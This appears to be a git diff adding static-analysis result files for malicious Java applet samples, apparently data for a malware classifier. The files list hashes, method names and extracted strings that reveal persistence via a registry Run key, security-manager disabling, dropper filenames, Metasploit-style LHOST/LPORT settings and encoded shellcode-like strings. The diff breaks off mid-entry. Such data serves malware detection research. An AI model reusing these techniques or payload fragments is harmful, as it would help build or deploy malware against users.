["Y0000000000000000I1ZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IJ,0N,pL,Pl,PL,PL,PZ,0Z,0k,YK,Ku,Pw,ps,03,oU,4y,1t,pu,PC,0U,Pl,KQ,P6,lN,k2,Pg,lL,mn,kQ,xu,pO,pS,M4,LP,3S,DU,So,fX,kI,cN,k5,8v,hL,Kz,Ws,Zw,tf,9J,HN,ow,pu,P5,Px,bJ,Y1,xB,Or,NC,0C,0U,80,u2,Rp,lP,ms,dK,OF,vL,KY,xz,HR,Yc,0u,PG,pl,Kx,Wr,gK,0W,Ou,PS,Ex,z1,WV,7Q,WM,P5,ow,p0,uK,Jn,kH,oq,OV,So,9M,Qz,Le,TW,qC,07,pl,KY,L0,Qc,bR,se,8V,d5,QW,p7,py,o2,vv,lQ,J2,y0,Qp,Rn,k6,bP,SQ,SO,p7,Kg,pb,Uy,jm,Qs,KK,L6,Ne,5T,8u,5d,5W,sO,sX,kc,8M,Yt,Ci,Ws,st,DT,nq,uq,hs,Uo,6Q,SW,xw,pC,kl,Jz,au,Tt,pm,Xr,e5,PP,3k,p2,p0,Pp,SV,7p,Pk,OS,fD,Pl,Cx,xE,P3,EW,v1,zf,aS,cy,oP,VV,dp,Zb,yM,So,25,TQ,Qo,p6,ZU,PQ,eO,Dk,Op,Ve,XR,qR,vl,KP,uw,LN,kp,tu,e2,Xg,sZ,UV,6N,kt,6e,pE,SX,uv,SK,y3,yq,QN,Mv,cK,ud,sK,kd,OO,NT,P0,8l,2s,Dg,xj,aX,Kv,mt,Cz,zc,pX,kJ,Qw,Kg,o3,EM,7Q,NN,kQ,NU,td,Ck,m3,VN,kF,lP,KN,k3,nE,L6,ci,ML,Kw,tn,k4,CO,5l,k1,Nr,yY,SI,xc,0k,Oy,o9,oL,NB,nT,NZ,LJ,89,nM,Zd,Nc,Nn,8J,B1,cu,cy,ZN,ja,Kt,vw,jv,OR,Pr,MR,YC,t2,r1,tq,Y2,La,wG,pS,Xc,D0,tb,Pd,zF,O6,OQ,ws,QS,RQ,q2,NE,1v,Np,iR,N1,vp,o6,Or,PQ,qa,wp,e4,oP,nR,ER,WF,NP,pU,80,pT,oR,N0,06,Pu,he,a6,P6,VP,2F,PV,Qd,sD,qe,hQ,bt,pT,tf,PV,Y2,jF,Pp,f6,PT,pv,PU,fF,Pp,1p,Rv,Y5,2t,t0,av,S7,Dp,0f,Xf,7e,ht,uV,PV,QQ,r6,Yq,uq,sb,xP,cv,Sp,85,4R,C5,hD,tt,wB,y7,Hp,f3,QQ,rq,ud,xS,Rt,q0,ZV,Pp,1d,pT,pQ,vv,PV,X4,p5,P3,0A,", "41,25,25,25,25", ",", "", "0000000000000000", "IIIIIIIIIIIIIIII", "71Z", "7QZ", "I1Z", "IQZ", "le:/", "/aac/", "fi", "X"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "f17f0a96e63980736694d23da9262e35a3532b48", "file_name": "java_malicious/2aa1c512b0a0e5b758c22293ff6b6531ac010739bbf630db507facec931f844a", "_id": "81b8fe23-6fbc-40d9-a4a1-6e15e4677c40", "score": 0, "entropy": 6.021139212778274, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3214, "ssdeep": "48:kJ8PezbtVGD4yFlcwM+sJcmS26lpXVCqa5AOFRI4FxMRBHA2Bnx8nvnDc8ime0ru:RwbjG9FlgJZT6lpsSOWLg26LNimeEu", "sha256": "2aa1c512b0a0e5b758c22293ff6b6531ac010739bbf630db507facec931f844a", "md5": "06f1659051d632dea246f775b73f3c73", "parent_sha256": "2aa1c512b0a0e5b758c22293ff6b6531ac010739bbf630db507facec931f844a"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/2aa5cecbca658157d514a879b25c4b12270359e138779f0526ac588fef3f2e4c.results b/java_classification/data/malicious/2aa5cecbca658157d514a879b25c4b12270359e138779f0526ac588fef3f2e4c.results
new file mode 100755
index 0000000..f9a01db
--- /dev/null
+++ b/java_classification/data/malicious/2aa5cecbca658157d514a879b25c4b12270359e138779f0526ac588fef3f2e4c.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "WindowsStartupService.java", "class_name": "WindowsStartupService", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "loadRegistryData", "convertToAsciz", "add", "Install", "main"], "minor_version": 0, "const_pool_count": 379}}, "_id": "afaa51c5-9565-434b-bc54-657eada76c72", "verbose": {"java": {"signatures": ["Ljava/util/Map<Ljava/lang/String;Ljava/lang/reflect/Field;>;"], "constant strings": ["", "closeKey", "WindowsRegSetValueEx", "openKey", "HKEY_CURRENT_USER", "Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run", "KEY_ALL_ACCESS", "%20", " ", "/", "\\\\", "RUTA OBTENIDA USANDO LA CLASE: ", "appdata", ".jar", "ruta del achivo: ", "Leere el archovo", "Lei una patte", "Espesare a leeer", "Lei datos del stub para  copiar", "\"", "java.home", "\\\\bin\\\\javaw.exe", " -jar", " \"", "Agregare:", "Entrada correctamente", "c:\\\\aaa.exe", "asdasa"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "ec30735c1cac2dbfa41b553fd8ec453da1c4f691", "file_name": "java_malicious/2aa5cecbca658157d514a879b25c4b12270359e138779f0526ac588fef3f2e4c", "_id": "afaa51c5-9565-434b-bc54-657eada76c72", "score": 0, "entropy": 5.894703252743689, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 6484, "ssdeep": "96:pPiKd60Fl67+KJpioi3vTbrolDKBLIpcJLkLq0Ix:pP76+lf0pivToRKJIyJLk200", "sha256": "2aa5cecbca658157d514a879b25c4b12270359e138779f0526ac588fef3f2e4c", "md5": "37f98ea146dad6b3c1aeec6aade0ba63", "parent_sha256": "2aa5cecbca658157d514a879b25c4b12270359e138779f0526ac588fef3f2e4c"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/2b01afb890d2465bbdc08a0eaaf13da33bd7e4a19aaefc1d0c2a3c58466f2614.results b/java_classification/data/malicious/2b01afb890d2465bbdc08a0eaaf13da33bd7e4a19aaefc1d0c2a3c58466f2614.results
new file mode 100755
index 0000000..773af23
--- /dev/null
+++ b/java_classification/data/malicious/2b01afb890d2465bbdc08a0eaaf13da33bd7e4a19aaefc1d0c2a3c58466f2614.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Gondcc.java", "class_name": "goaw20125076/Gondcc", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "mrun", "exec", "downFile"], "minor_version": 0, "const_pool_count": 191}}, "_id": "b5abe40f-a37f-42c6-9ee6-f7dffdd9a878", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.913021978635661, "obfuscated_data": {"signatures": {"java": "rot0"}, "base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "WyjJAt2NBQxLz5WC"}}}, "constant strings": ["WyjJAt2NBQxLz5WC", "11111", "woyouyizhixiaomaol", "conglaiyebuqi", "os.name", "java.io.tmpdir", "updata.exe", "Windows", "chmod 754 ", "1", "xx"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "273f1c5dd5beeaea432b6fe9e955c01e549e4c22", "file_name": "java_malicious/2b01afb890d2465bbdc08a0eaaf13da33bd7e4a19aaefc1d0c2a3c58466f2614", "_id": "b5abe40f-a37f-42c6-9ee6-f7dffdd9a878", "score": 0, "entropy": 5.686649434183005, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 3372, "ssdeep": "48:oXAy8kAl44lZF6Ini/LZQnUqx7C8JiBEwSTsy6ETg2A1AKt22iImEDf0sw6Pv5ch:c8kAlL4emSnZERqFMSiDf0s3Bc23kv", "sha256": "2b01afb890d2465bbdc08a0eaaf13da33bd7e4a19aaefc1d0c2a3c58466f2614", "md5": "1b0845284c3d939c3a02db2e761482aa", "parent_sha256": "2b01afb890d2465bbdc08a0eaaf13da33bd7e4a19aaefc1d0c2a3c58466f2614"}}
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diff --git a/java_classification/data/malicious/2b0948121eb26e1acd6c986ed4a28c0d0a115f40b03b93b2ee0b52d21684d114.results b/java_classification/data/malicious/2b0948121eb26e1acd6c986ed4a28c0d0a115f40b03b93b2ee0b52d21684d114.results
new file mode 100755
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diff --git a/java_classification/data/malicious/2b3c2480d4a627e148e26e8eaedaef2252be3111dc6df27374465c451526a81c.results b/java_classification/data/malicious/2b3c2480d4a627e148e26e8eaedaef2252be3111dc6df27374465c451526a81c.results
new file mode 100755
index 0000000..116ed7a
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diff --git a/java_classification/data/malicious/2b3cbc6c08132a58c4df592b4820c761eef5c180c87a002645ccfa0d972afaa7.results b/java_classification/data/malicious/2b3cbc6c08132a58c4df592b4820c761eef5c180c87a002645ccfa0d972afaa7.results
new file mode 100755
index 0000000..5827013
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diff --git a/java_classification/data/malicious/2b3db276fe9186948268bf44872b6dd5a9d2b2f752cc884f2c1ad521074d6d39.results b/java_classification/data/malicious/2b3db276fe9186948268bf44872b6dd5a9d2b2f752cc884f2c1ad521074d6d39.results
new file mode 100755
index 0000000..680fa22
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@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/2c4935bfcd798c26e86604646710d8f22b12a538f3a4ba4b55fb45c44235a769.results b/java_classification/data/malicious/2c4935bfcd798c26e86604646710d8f22b12a538f3a4ba4b55fb45c44235a769.results
new file mode 100755
index 0000000..3a48b4b
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@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/2c9dc556cd37163cb390a8af1c4f8bcd309f11c15663c160969f121067b72fb2.results b/java_classification/data/malicious/2c9dc556cd37163cb390a8af1c4f8bcd309f11c15663c160969f121067b72fb2.results
new file mode 100755
index 0000000..24da3b1
--- /dev/null
+++ b/java_classification/data/malicious/2c9dc556cd37163cb390a8af1c4f8bcd309f11c15663c160969f121067b72fb2.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["<init>", "init"], "minor_version": 0, "const_pool_count": 102}}, "_id": "597f1256-f082-4d88-98c0-8a415ca0c0f5", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IN,pz,0L,PL,PJ,0n,pL,Pj,0N,pn,pM,8w,pu,Pu,Pc,0h,kW,pK,Yk,LC,0g,pC,0s,oQ,tY,1P,0W,pw,p5,PQ,hv,ll,Ka,PV,ll,K0,pU,Ln,Ml,KE,84,Hz,K6,iN,kQ,Pw,DL,Ma,Pq,ll,Kb,HU,ll,KL,7R,JV,dq,IK,XL,O7,pw,pw,pM,2k,IP,hr,Op,nu,PE,Pe,8b,Ut,2P,lP,mS,dK,O2,6N,ky,xh,ht,9w,pg,pw,pl,KH,WW,7k,0e,oG,pP,uK,Jw,76,7c,wO,pE,o7,pP,uh,zL,Kz,Os,oF,S9,YM,Qj,LS,47,qU,P7,pN,kI,L0,Q3,bp,SU,8U,Tu,QW,p3,09,ob,vV,ls,jR,yR,qp,Rn,k7,rP,Sb,co,pg,Kg,pd,5i,jN,a3,Ky,ld,nU,5p,xR,Et,5e,Sk,3Z,K5,XK,96,cJ,gB,cv,dF,Np,eq,hU,5X,FS,st,HG,ps,kN,jk,qT,Dt,pN,hC,u5,Pv,SK,p0,Pr,pP,SR,wp,Pi,oS,fV,pK,3h,xW,pp,u6,f0,jW,qF,3k,Ob,vv,dr,zp,YM,SK,rg,ta,Qm,PG,Jg,pC,EM,dY,ov,6w,xc,aS,fN,kt,5g,LL,K2,Td,np,xG,sK,Ep,VL,K3,FE,pW,sX,uD,sj,i3,yq,Qn,Mg,sY,UF,Sk,kt,OO,NV,pg,JK,fp,tf,hK,qh,Kd,MU,S9,Jq,PH,kH,qw,K5,Ot,5K,WC,nL,K3,nU,t4,CY,Mp,fL,Kv,lR,kL,K3,ne,LS,3k,mN,kv,dL,K7,sz,en,Ks,na,IK,sK,Xk,Oi,ny,ok,Ol,Np,Nf,nx,ln,xk,NM,Z4,NS,Nx,Xz,BT,3U,c8,JL,JS,kp,6u,Jv,OP,p0,Tr,ru,9S,uU,PE,82,Tq,db,Pd,zf,O6,OB,Sp,pb,OT,0r,Yf,N3,Yb,Ns,Vp,oT,oP,cQ,wq,yv,MQ,ra,y2,NF,Ob,LR,OR,G3,Yr,Nv,Np,hC,DP,mp,lf,Or,ZV,PV,Pg,HU,aV,PT,v4,rv,PP,1U,cd,qe,hP,rf,Pd,t4,pt,y0,Jv,Pc,V6,PP,0V,P4,vT,pU,aQ,Bu,3F,VE,h4,wf,Pp,0P,c6,Qr,wu,2D,yp,6g,Gc,SP,94,t3,Up,X3,QT,rt,qE,2U,1w,DE,6u,ip,Yp,ew,IP,9w,CV,Sp,5R,E5,hS,jt,pu,ap,04,pQ,vT,pT,xD,ps,07,pA,", "41,25,25,25,25", ",", "", "fil", "e://aa", "c/", "D", "C", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "18017496ef4094a3d4d328142f2c4766df8c844e", "file_name": "java_malicious/2c9dc556cd37163cb390a8af1c4f8bcd309f11c15663c160969f121067b72fb2", "_id": "597f1256-f082-4d88-98c0-8a415ca0c0f5", "score": 0, "entropy": 5.981206327267121, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3123, "ssdeep": "48:4vVk0yFlVN9ZoS/vr0MGLekh7/Mthg5GUFwIsFlXRkHccQjtZtgobKqgs5qxpJ:hFFlP9ZL/ADzh7/cURxC92XQjt9bKsCn", "sha256": "2c9dc556cd37163cb390a8af1c4f8bcd309f11c15663c160969f121067b72fb2", "md5": "232588651797b9947b971b917181d639", "parent_sha256": "2c9dc556cd37163cb390a8af1c4f8bcd309f11c15663c160969f121067b72fb2"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/2d233f0f21e1738e1f12d049e685663de9b600f42116cfe242df44a6a3bc038e.results b/java_classification/data/malicious/2d233f0f21e1738e1f12d049e685663de9b600f42116cfe242df44a6a3bc038e.results
new file mode 100755
index 0000000..6467f50
--- /dev/null
+++ b/java_classification/data/malicious/2d233f0f21e1738e1f12d049e685663de9b600f42116cfe242df44a6a3bc038e.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "hohoho.java", "class_name": "setup/hohoho", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "disableSecurity", "GetClass", "SetField", "init", "paint"], "minor_version": 0, "const_pool_count": 201}}, "_id": "89891142-a557-4fb7-b5e0-ae472ccdcfaf", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.7646019353167075, "obfuscated_data": {"signatures": {"file": "rot0"}, "base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "aoma"}}}, "constant strings": ["OneKey Ghost 11", "M", "u", "ri", "tS", "ty", "na", "r", "se", "e", "c", "a", "g", "file:///", "acc", "forName", "n.awt.SunTo", "su", "olkit", "getField", "n", "b", "aoma", "xi", "olv", "si", "bs", "s.n", "o", "ame", "Windows", "Loading"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d03da964bec816242f109315c3b55382e0f89e74", "file_name": "java_malicious/2d233f0f21e1738e1f12d049e685663de9b600f42116cfe242df44a6a3bc038e", "_id": "89891142-a557-4fb7-b5e0-ae472ccdcfaf", "score": 0, "entropy": 5.70075717747112, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 3174, "ssdeep": "48:PXFFl60x5L9ZyFllJ6ja++ZqjuSYVayGcbWypiNij53QMwDUmdg3/5q:/blZqFlPwVmBVdGkD6iF/xmS3/U", "sha256": "2d233f0f21e1738e1f12d049e685663de9b600f42116cfe242df44a6a3bc038e", "md5": "d75266d30749b33582acaaad71048d07", "parent_sha256": "2d233f0f21e1738e1f12d049e685663de9b600f42116cfe242df44a6a3bc038e"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/2d4f90070af93f1d428b78369c9c15a94327fcb6d445f5b9c8beada7102fd801.results b/java_classification/data/malicious/2d4f90070af93f1d428b78369c9c15a94327fcb6d445f5b9c8beada7102fd801.results
new file mode 100755
index 0000000..a3acb11
--- /dev/null
+++ b/java_classification/data/malicious/2d4f90070af93f1d428b78369c9c15a94327fcb6d445f5b9c8beada7102fd801.results
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/java_classification/data/malicious/2d65d7054ada17f37fc7f1e3ae6f3ad95309d7fe407b200679d5d8cf37471226.results b/java_classification/data/malicious/2d65d7054ada17f37fc7f1e3ae6f3ad95309d7fe407b200679d5d8cf37471226.results
new file mode 100755
index 0000000..6443190
--- /dev/null
+++ b/java_classification/data/malicious/2d65d7054ada17f37fc7f1e3ae6f3ad95309d7fe407b200679d5d8cf37471226.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "MwcNrKk.java", "class_name": "MwcNrKk", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<clinit>", "<init>", "log", "init", "toHex", "tryExpl", "func2"], "minor_version": 0, "const_pool_count": 336}}, "_id": "976338ec-5c18-4f39-bac2-a743b1f2b6cc", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"signatures": {"java": "rot0", "file": "rot0"}, "base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "data"}}}, "constant strings": ["", "os.arch", "64", "&s=", "&d=", "data", "no", "setSecurityManager", "file:///", "java.io.tmpdir", "hmemsdb.exe", "&s=2&d="]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "0bbc3909677a892d81058c41bb0a3857f18ad7a7", "file_name": "java_malicious/2d65d7054ada17f37fc7f1e3ae6f3ad95309d7fe407b200679d5d8cf37471226", "_id": "976338ec-5c18-4f39-bac2-a743b1f2b6cc", "score": 0, "entropy": 5.9378517013700645, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 6719, "ssdeep": "96:AWPlMr4mwpwBwroAnLIYHbzkq66UE5vfhAl2NZG30oKCXP/:PlMsmweBwM+ZPkF4fy2NZOX", "sha256": "2d65d7054ada17f37fc7f1e3ae6f3ad95309d7fe407b200679d5d8cf37471226", "md5": "4dba43cea90e2793942a7292b27a39a6", "parent_sha256": "2d65d7054ada17f37fc7f1e3ae6f3ad95309d7fe407b200679d5d8cf37471226"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/2e0dda14a58f00ea56f6b503bd6cc8b6838db749c80c3ff306cb5bfc36d4f295.results b/java_classification/data/malicious/2e0dda14a58f00ea56f6b503bd6cc8b6838db749c80c3ff306cb5bfc36d4f295.results
new file mode 100755
index 0000000..fa6c744
--- /dev/null
+++ b/java_classification/data/malicious/2e0dda14a58f00ea56f6b503bd6cc8b6838db749c80c3ff306cb5bfc36d4f295.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "yEuGWAXpPG/IHGGfAy", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 605}}, "_id": "418a2bd5-52ab-4e17-83a5-5483c697707a", "verbose": {"java": {"constant strings": ["yEuGWAXpPG.IHGGfAy", ".class", "/yEuGWAXpPG.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "yEuGWAXpPG.dat", "URL", "", "https:", "yEuGWAXpPG/IHGGfAyTrustManager.class", "IHGGfAyTrustManager.class", "AESPassword", "yEuGWAXpPG/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "yEuGWAXpPG.IHGGfAyTrustManager", "useFor", "java.net.URLConnection", "yEuGWAXpPG.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "IHGGfAy -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "ce6962713bb78e2e258cb2a7e2c23e68d2c7057d", "file_name": "java_malicious/2e0dda14a58f00ea56f6b503bd6cc8b6838db749c80c3ff306cb5bfc36d4f295", "_id": "418a2bd5-52ab-4e17-83a5-5483c697707a", "score": 0, "entropy": 6.158751591659513, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "192:gmO1t8ocIBhtmEeyNvpvUrKYvCkgHzbDrDF:5+tcIB5eyNvZU+YvaH3B", "sha256": "2e0dda14a58f00ea56f6b503bd6cc8b6838db749c80c3ff306cb5bfc36d4f295", "md5": "b745671a21f476cd8953ba965650fa5d", "parent_sha256": "2e0dda14a58f00ea56f6b503bd6cc8b6838db749c80c3ff306cb5bfc36d4f295"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/2e534ba3e7f65608236df0e824cb12d468e40957acee660ebd6d9d406d8bc856.results b/java_classification/data/malicious/2e534ba3e7f65608236df0e824cb12d468e40957acee660ebd6d9d406d8bc856.results
new file mode 100755
index 0000000..a51fe09
--- /dev/null
+++ b/java_classification/data/malicious/2e534ba3e7f65608236df0e824cb12d468e40957acee660ebd6d9d406d8bc856.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "a/dsedljtoyij", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "etuqnvi", "<clinit>"], "minor_version": 0, "const_pool_count": 446}}, "_id": "80c93f36-56d0-4c99-9e30-2aeba2c144bb", "metadata": {"mimetype": "application/x-java-applet", "sha1": "9b651f002283891facfaabfd8b78efa5b1bc014d", "file_name": "java_malicious/2e534ba3e7f65608236df0e824cb12d468e40957acee660ebd6d9d406d8bc856", "_id": "80c93f36-56d0-4c99-9e30-2aeba2c144bb", "score": 0, "entropy": 5.215512700818098, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6986, "ssdeep": "96:KMHscI3cbtWi3iQbZQRqYnsyo8pt2Yxhni/mmNxlo55ooDy4IYwa5oYp55IX1:T3b3iQbZQRqIptxhi/To55UTYwa5hGX1", "sha256": "2e534ba3e7f65608236df0e824cb12d468e40957acee660ebd6d9d406d8bc856", "md5": "42941c9cc6dc0c7db44dffc116178610", "parent_sha256": "2e534ba3e7f65608236df0e824cb12d468e40957acee660ebd6d9d406d8bc856"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/2e5d2b4b8130df9e3aabdf42ab17366aaff9fbd1ee33dca00ae16909f18d9f81.results b/java_classification/data/malicious/2e5d2b4b8130df9e3aabdf42ab17366aaff9fbd1ee33dca00ae16909f18d9f81.results
new file mode 100755
index 0000000..71fca71
--- /dev/null
+++ b/java_classification/data/malicious/2e5d2b4b8130df9e3aabdf42ab17366aaff9fbd1ee33dca00ae16909f18d9f81.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "BKOGDzey.java", "class_name": "BKOGDzey", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "init"], "minor_version": 0, "const_pool_count": 57}}, "_id": "31c108ae-e416-47d0-9c74-d43ce44a2025", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "OjSsNtdO"}}}, "constant strings": ["OjSsNtdO", "\\xc0\\x80N\\x1b\\x17\\x12"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d36fe7d8c6a1a197bda6e7bcdae1f608bb826882", "file_name": "java_malicious/2e5d2b4b8130df9e3aabdf42ab17366aaff9fbd1ee33dca00ae16909f18d9f81", "_id": "31c108ae-e416-47d0-9c74-d43ce44a2025", "score": 0, "entropy": 5.5480137226303325, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 829, "ssdeep": "12:PEbi3SDQul2C6WMJZlqgWCn1kWnQ8PlMBMOZWMBMNIMO9S9BMsu2oHM1NSBR6lA5:P3yQul23qRC1PnhPSVOmpHM1j6Xdh0qx", "sha256": "2e5d2b4b8130df9e3aabdf42ab17366aaff9fbd1ee33dca00ae16909f18d9f81", "md5": "5902484c99198b9f2c6fe1f7af022093", "parent_sha256": "2e5d2b4b8130df9e3aabdf42ab17366aaff9fbd1ee33dca00ae16909f18d9f81"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/2f9a7c6d97d75aaff27c78c87e899ceed94e7403d52cca1456c48dc9f368d938.results b/java_classification/data/malicious/2f9a7c6d97d75aaff27c78c87e899ceed94e7403d52cca1456c48dc9f368d938.results
new file mode 100755
index 0000000..dcf158b
--- /dev/null
+++ b/java_classification/data/malicious/2f9a7c6d97d75aaff27c78c87e899ceed94e7403d52cca1456c48dc9f368d938.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "SrauaReAPL/Payload", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 605}}, "_id": "565c613a-bcf4-4dfe-9ca0-6f6e58108e95", "verbose": {"java": {"constant strings": ["SrauaReAPL.Payload", ".class", "/SrauaReAPL.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "SrauaReAPL.dat", "URL", "", "https:", "SrauaReAPL/PayloadTrustManager.class", "PayloadTrustManager.class", "AESPassword", "SrauaReAPL/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "SrauaReAPL.PayloadTrustManager", "useFor", "java.net.URLConnection", "SrauaReAPL.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "Payload -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javaPBrEcnV.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "398d9b93a2545dc37d9b37981721ac9a7cafee86", "file_name": "java_malicious/2f9a7c6d97d75aaff27c78c87e899ceed94e7403d52cca1456c48dc9f368d938", "_id": "565c613a-bcf4-4dfe-9ca0-6f6e58108e95", "score": 0, "entropy": 6.127708923150367, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tM6DUBd+WEzThm43GxEIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrDF:gmO1tCdutmH8NvpvUrKYvCkgHzbDrDF", "sha256": "2f9a7c6d97d75aaff27c78c87e899ceed94e7403d52cca1456c48dc9f368d938", "md5": "7d56252daf87952d43c765b8bfd2bcd0", "parent_sha256": "2f9a7c6d97d75aaff27c78c87e899ceed94e7403d52cca1456c48dc9f368d938"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/2feda4767510367932f245428b914666a6b4dd82d2bc4a78caf4036c787ed221.results b/java_classification/data/malicious/2feda4767510367932f245428b914666a6b4dd82d2bc4a78caf4036c787ed221.results
new file mode 100755
index 0000000..72e753d
--- /dev/null
+++ b/java_classification/data/malicious/2feda4767510367932f245428b914666a6b4dd82d2bc4a78caf4036c787ed221.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "nwstyr.java", "class_name": "nwstyr", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["bpirJG10nCGxYP2loP", "KpTMVnCGxYPnCuig11Yas1", "LGJzSQNZgd1nCGxYP1tY1gnhyyyt", "vbntdjirouVnCGxYPbC11Cc1h", "cclppnCGxYPoepzja1p1d11", "bpirJGnCGxYP1MgtloP", "KpTMVnCuig11Yas5nCGxYP55551", "LG4444343JzSQKZgnCGxYPd11tY1gnhyyyt", "vbntdji4869nCGxYP65rouVbC11Cc1h", "cclppoep5nCGxYP521ja1p1d11", "bpirJnCGxYPG1Mgt78902loP", "<init>", "fopTas", "<clinit>"], "minor_version": 0, "const_pool_count": 168}}, "_id": "9f20d35a-1431-440d-9606-d9d24630d7b5", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.876869672982006}, "constant strings": ["RjHvDhfkt  TJ G uRcMBGgmR    HRFbleizPEky  mR x ", "FmVSpBZFU  SX iwTnpZyahSZ  I  BttxyzoRuvJ  k  IF", "ZfaXZsfTV   c  FscjRrlrjj  U    XssRLIFBR   u  MJahfmKGZB  m F  agdlZJjGU  wbXz zOctEQFeR  Z   UTHglSaBdA  Jw syLZckByueO  B   RQpPdRVmRz  x   BROKfDZRec  n   kzxtDpFKaE  RE RrRJgdDmabt  Dt VRHwfoyrlzM  VZ axfoRsIgAGR  KZ yFcLEjKUIFT  jF OzwGMyfRxMd  TE lfFzqiBvrIZL a   w", "pKdbiEuou   mn VqRVZTIVMV  LR c QBRzyRhMQ  bDnF lRGyunqpx  yg iO", "ZVgupsMRS  HKn  jQArHySRx  Z  okTpeSUaRZG  o    SfFKMAXKR   wa  qLSOvPPJE  py Q ", "LnTSlpJQF   